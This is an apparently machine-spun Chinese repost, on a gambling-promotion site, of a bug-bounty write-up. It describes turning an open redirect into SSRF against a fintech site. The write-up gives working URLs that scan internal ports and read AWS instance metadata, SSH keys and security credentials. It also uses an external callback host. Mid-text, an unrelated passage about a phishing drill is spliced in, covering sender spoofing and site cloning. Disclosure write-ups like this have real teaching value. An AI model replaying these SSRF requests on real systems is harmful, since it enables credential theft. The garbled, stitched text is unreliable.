bugbounty:由301重定向猎取AWS平安凭据 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

bugbounty:由301重定向猎取AWS平安凭据

申博_新闻事件 申博 162次浏览 未收录 0个评论

大家好!

这是关于我近来的破绽案例,我小我以为这是我最不平常的黑客进击之旅,个中一个开放的重定向致使我在印度抢先的金融科技公司中

取得接见AWS EC2凭证。下面我将诠释怎样经由过程起首找到一个不平常的重定向然后取得长途文件包罗(RFI),将其升级到服务器端要求捏造(SSRF)并终究取得AWS EC2凭证来接见AWS平安凭证。

近来,我一直在进修路由怎样在ASP.net编写的应用程序中事变,基本上怎样将URL路由到准确的逻辑或功用, ASP.NET Core MVC运用路由

中间件来婚配传入要求的URL并将它们映射到行动。许多时刻因为毛病的路由逻辑和不准确的代码架构,毛病设置装备摆设的路由能够或许致使实行其他

无意义的功用。为了进一步明白这一点,我发起浏览这篇文章。

bugbounty:由301重定向猎取AWS平安凭据

MVC架构

在测试印度最大的Fin-tech公司时,我发明该应用程序是用ASP.net编写的,而且运行在Windows IIS/10.0上,只需搜检相应头便可轻松猎取

bugbounty:由301重定向猎取AWS平安凭据

应用程序经由过程Windows IIS服务器并在ASP.net中编写

如今,为了明白路由划定规矩在代码中的编写体式格局,我添加了原始URL:https://redacted.com/,

带有参数的url:https://redacted.com/xyxyz,正如预期的那样,它会抛出404未找到。

然则当我接见“My account”页面并做一样的事变时,状况有所分歧:https://redacted.com/myaccount/xyyyz,在这里我获得301重定向到要求来自的线路,

即:https://redacted.com/myaccount。如今,若是我附加一个随机的HTTP网址: https://redacted.com/myaccount/http://evilzone.org

而且与上面发作的雷同,它会被重定向到evilzone.org,但网址仍然是:https:// redacted.com/myaccount/http://evilzone.org这意味着页面已在服务器中加载,极能够或许按原样发送到上游服务器。

那末代码背地的逻辑一定是

关于像一个URL途径像:/myaccount, 的myaccountApi。关于具有HTTP或HTTPs协定的URL途径,将实行MyProfile操纵,

关于像/myaccount/^(http|https)://(.*),接收它并将其传递给上游服务器,而且关于任何不婚配任何其他前提的任何内容,实行与

myaccountApi.MyProfile雷同的操纵

开发人员留下如许的代码的缘由好像是一个测试代码,它本来是在一个暂时情况中,但多是因为忽视它被推到prod情况和上游署理中设置装备摆设毛病的划定规矩。

如今,为了搜检和调试HTTP要求,我运用了Requestbin,它与Burp Collaborator的用处险些雷同。以是我发出了要求https://redacted.com/myaccount/https://en1sxi232vmus.x.pipedream.net/这里是我获得的相应信息:

bugbounty:由301重定向猎取AWS平安凭据

正如你所看到的那样,x-forwarded-for标头中有2个IP,这是新鲜的,当我实行whois查找时,我发明第一个IP是我的路由器IP,

这很明显,但第二个IP属于服务redacted.com的IP(即上游署理服务器)。我在第一步中取得的重定向如今变成了服务器端重定向,

而不仅仅是客户端重定向。如今,若是它是服务器端重定向,那末SSRF(服务器端要求捏造)进击一定会有很大的时机。上游署理能够或许有以下设置装备摆设

# server context, here the victim.com is the value which is passed #by MVC action.
location /myaccount/* {
    proxy_set_header HOST $host;
    proxy_set_header X-Forwarded-Proto $scheme;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for,    $client_ip ;

    proxy_pass http://victim.com/;
}

. . .

我去测试SSRF并试图经由过程点击分歧端口上的当地主机来搜检开放端口,如https://redacted.com/myaccount/http://127.0.0.1:80,

记一次真实的邮件钓鱼演练

为了配合部门月度信息安全主题宣讲,被领导要求搞一次真实的邮件钓鱼演练,对象是公司全员。演练前,为了钓鱼效果,需要伪造真实的内部邮箱发件人,测试了一下公司Exchange服务器,发现邮箱服务器默认并没有开启spf等反钓鱼策略,这大大提高了钓鱼成功率。公司的域账号到期需要修改密码,我就以修改密码网页为钩子,发件人就是真实的administrator@xxx.com,可能每个公司的情况不一样,大家自由选择钓鱼系统即可。 钓鱼 既然是钓鱼,那钓鱼页面需要尽可能和原系统一致,如果需要网站克隆,推荐使用setookit,里面有个site cloner功能,网上有相关教程,我就不详细描述了。我们这次的演练并没有完全克隆,原因是我们的域系统需要先登录,然后再进行修改密码,如果有cookie记录就直接跳转到修改密码的页面了,为了方便起见,我们直接重新做了一个页面(只是在修改密码页面增加了一个域账号框,方便记录),同时后端不记录”password”字段到数据库,前端效果图如下: 因为我有php环境,方便起见就直接用php+my

我获得200状况OK这意味着端口是翻开的(当应用程序在其上运行时很明显)当我在分歧的端口上发出要求时,如21: https://redacted.com/myaccount/http://127.0.0.1:21,它给出了以下相应

bugbounty:由301重定向猎取AWS平安凭据

状况代码000

状况码000,而不是200确认端口能够或许被封闭或过滤。以是在这里我为SSRF实行了一个简朴的第一个测试用例——内部服务器端口扫描

如今进一步视察相应头(X-Amz-Cf-Id和cloudfront关键字),它确认应用程序已经由过程AWS –

bugbounty:由301重定向猎取AWS平安凭据

X-Amz-Cf-Id和cloudfront关键字

以是在不消费太多时候的状况下,我继承打电话来浏览AWS实例元数据API(http://169.254.169.254/latest/meta-data),完全的URL是——https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data,这是我获得的相应

bugbounty:由301重定向猎取AWS平安凭据

AWS实例元数据

另外,我进行了API挪用以接见ssh公钥接见:(https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key)我有权接见它

bugbounty:由301重定向猎取AWS平安凭据

SSH公钥

以是我有了SSRF,而且能够或许扫描内部端口,能够或许接见EC2元数据,如今能够读取AWS平安凭证。AWS用于辨认Amazon EC2基本架构其余部分的实例的凭证,

我必需制造挪用AWS实例元数据平安凭证API,终究的URL是(https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)正如我所料,我能够或许猎取AWS平安凭证

bugbounty:由301重定向猎取AWS平安凭据

接见AWS平安凭证

但附加到ec2实例的IAM脚色好像具有异常有限的权限,因而附加到它的风险级别很低。这是关于这个风趣的发明,个中一个不平常的重定向

致使经由过程SSRF接见AWS账户凭证。这是一个地道的例子,申明弱的和未经审查的代码以及毛病设置装备摆设的划定规矩将会致使严峻的破绽。关于公司来讲,

开发人员的进修很简朴。若是没有恰当的偕行评审,就不要在消费情况中提交代码。很有能够或许在prod情况中过分推送分段测试代码,而且老是再次检察手动建立的署理/路由划定规矩。

申报概况 –

2019年5月25日 – Bug申报给有关公司。

2019年5月26日 – Bug被标记为已修复。

2019年5月26日 – 从新测试并确认修复。

2019年5月30日 – 嘉奖。

感谢浏览!

原文链接:https://medium.com/@logicbomb_1/the-unusual-case-of-open-redirection-to-aws-security-credentials-compromise-59acc312f02b


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明bugbounty:由301重定向猎取AWS平安凭据
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址